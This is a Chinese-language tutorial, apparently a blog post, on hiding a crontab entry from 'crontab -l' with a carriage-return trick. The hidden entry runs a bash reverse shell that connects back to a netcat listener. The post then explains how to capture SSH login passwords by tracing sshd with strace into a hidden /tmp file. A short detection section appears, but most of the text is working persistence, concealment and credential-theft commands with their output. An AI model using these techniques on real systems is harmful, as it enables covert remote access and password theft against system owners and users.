前几天朋友发一个文章,是关于crontab的隐藏的,涨姿势了,所以就学习下,觉得还蛮实用的,于是有了这篇文章,我来为大家科普一下关于crontab定时复制 隐藏crontab和键盘记录密码?以下内容希望对你有帮助!

crontab定时复制 隐藏crontab和键盘记录密码

crontab定时复制 隐藏crontab和键盘记录密码

一 前言

前几天朋友发一个文章,是关于crontab的隐藏的,涨姿势了,所以就学习下,觉得还蛮实用的,于是有了这篇文章。

二 crontab隐藏2.1 从一条命令说起

以下命令比较奇怪,我们明明输入文件内容是"abb\rocddde" 但是直接用cat输出的时候是\r后面的内容。这里面 echo -e 表示启用反斜杠转义的解释即\r 表示回车。

root@ubuntu-lab:/home/miao# echo -e "abb\rocddde"> b.txt root@ubuntu-lab:/home/miao# cat b.txt ocddde root@ubuntu-lab:/home/miao# cat -A b.txt abb^Mocddde$

这说明cat在输出时候,如果有回车,则显示会有问题,用参数:-A 即可显示所有内容:

-A, --show-all equivalent to -vET -E, --show-ends display $ at end of each line -v, --show-nonprinting use ^ and M- notation, except for LFD and TAB -T, --show-tabs display TAB characters as ^I

了解了这个缺陷,再知道crontab -l 其实是cat 此用户对应的crontab文件即: /var/spool/cron/crontabs/root

2.2 crontab 隐藏

测试的脚本涉及到shell反弹,先测试下,启动一个端口(攻击端)

root@ubuntu-lab:/home/miao# nc -lnvp 1111 Listening on 0.0.0.0 1111

被攻击端反向连接:

root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1

具体shell反弹的解释见:https://www.jianshu.com/p/41fffb0654a7 简单来说把bash的输入输出,错误输出都重定向到tcp连接上去。

刚才是一次执行,如果攻击端的端口1111 没有开启的话,会报连接错误:

root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 bash: connect: Connection refused bash: /dev/tcp/127.0.0.1/1111: Connection refused

那么如何保证被攻击端定时连接,直到我们开启端口那,很显然我们可以采用crontab方式。

初次版本:

root@ubuntu-lab:/home/miao# echo "*/1 * * * * bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 " >/var/spool/cron/crontabs/root root@ubuntu-lab:/home/miao# crontab -l */1 * * * * bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "

显然如果这样达不到隐藏效果,隐藏下很简单加个回车就行,但是不能仅仅没显示,我们要让crontab -l展示的信息和没有配置crontab是一样的。

这样写crontab不好测试,也可以独立写个shell:

root@ubuntu-lab:/home/miao# crontab -l */1 * * * * sh /home/miao/1.sh root@ubuntu-lab:/home/miao# cat 1.sh #!/bin/bash echo `date` >/home/miao/122 echo $? >>/home/miao/122 bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "

效果如下:

root@ubuntu-lab:/home/miao# nc -lnvp 1111 Listening on 0.0.0.0 1111 Connection received on 127.0.0.1 57768 bash: cannot set terminal process group (8552): Inappropriate ioctl for device bash: no job control in this shell root@ubuntu-lab:~# root@ubuntu-lab:~# pwd pwd /root root@ubuntu-lab:~# cd /home/miao cd /home/miao root@ubuntu-lab:/home/miao# pwd pwd /home/miao

隐藏的命令实践如下:

root@ubuntu-lab:/home/miao# crontab -l no crontab for root root@ubuntu-lab:/home/miao# (crontab -l;printf "* * * * * /home/miao/1.sh;\rno crontab for `whoami`0c\n")|crontab - no crontab for root root@ubuntu-lab:/home/miao# cat /var/spool/cron/crontabs/root # DO NOT EDIT THIS FILE - edit the master and reinstall. # (- installed on Sun Jul 24 05:28:19 2022) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) no crontab for root root@ubuntu-lab:/home/miao# cat -A /var/spool/cron/crontabs/root # DO NOT EDIT THIS FILE - edit the master and reinstall.$ # (- installed on Sun Jul 24 05:28:19 2022)$ # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)$ * * * * * /home/miaohq/1.sh;^Mno crontab for root

注意这个"0c\n" 加了0c即要保证回车后面的字符超过100个,换行也是模仿crontab -l的效果,如果不加0c,回车后面的字符就从开头开始输出,会导致后面跟着前面的一些字符信息,如下:

root@ubuntu-lab:/home/miao# printf "* * * * * /home/miao/1.sh;\rno crontab for `whoami` \n" no crontab for root /1.sh;

到此结束。

2.3 如何检测

检测比较简单,首先用netstat 查看连接信息的进程,然后通过进程的关系查找这个进程由哪个启动的,如下:

root@ubuntu-lab:/home/miao# netstat -antp|grep 1111 tcp 1 0 0.0.0.0:1111 0.0.0.0:* LISTEN 1786/nc tcp 0 0 127.0.0.1:57386 127.0.0.1:1111 ESTABLISHED 1803/bash tcp 0 0 127.0.0.1:57390 127.0.0.1:1111 ESTABLISHED 1870/bash tcp 0 0 127.0.0.1:1111 127.0.0.1:57386 ESTABLISHED 1786/nc tcp 133 0 127.0.0.1:1111 127.0.0.1:57390 ESTABLISHED - root@ubuntu-lab:/home/miao# pstree -p|grep 1803 |-cron(1013)- -cron(1798)---sh(1799)---1.sh(1800)---bash(1802)---bash(1803) root@ubuntu-lab:/home/miao# root@ubuntu-lab:/home/miao# root@ubuntu-lab:/home/miao# ps -ef|grep 1013 root 1013 1 0 05:48 ? 00:00:00 /usr/sbin/cron -f -P root 1798 1013 0 05:51 ? 00:00:00 /usr/sbin/CRON -f -P root 1865 1013 0 05:52 ? 00:00:00 /usr/sbin/CRON -f -P root 1913 1013 0 05:53 ? 00:00:00 /usr/sbin/CRON -f -P root 1962 1817 0 05:53 pts/0 00:00:00 grep --color=auto 1013 root@ubuntu-lab:/home/miao# ps -ef|grep 1798 root 1798 1013 0 05:51 ? 00:00:00 /usr/sbin/CRON -f -P root 1799 1798 0 05:51 ? 00:00:00 /bin/sh -c /home/miao/1.sh;?no crontab for root root 1973 1817 0 05:54 pts/0 00:00:00 grep --color=auto 1798

很简单,我们看到CRON启动了shell脚本:/bin/sh -c /home/miao/1.sh;?no crontab for root

三 strace 跟踪shell输入的密码

原理很简单,strace 可以跟踪应用程序的系统应用,并且可以获取应用程序的参数,那么就可以跟踪登录的sshd程序,将密码获取到。 脚本比较简单:

(strace -f -F -p `ps aux|grep "/usr/sbin/sshd"|grep -v grep|awk {'print $2'}` -e trace=read,write -s 32 2> /tmp/.ssh &)

如果报没有权限,改下:

/etc/sysctl.d/10-ptrace.conf 中:kernel.yama.ptrace_scope为0 后执行:sysctl -p

然后通过命令搜索:

grep -E 'read\(6, ". \\0\\0\\0\\. "' /tmp/.sshd.log

即可以获取密码。

,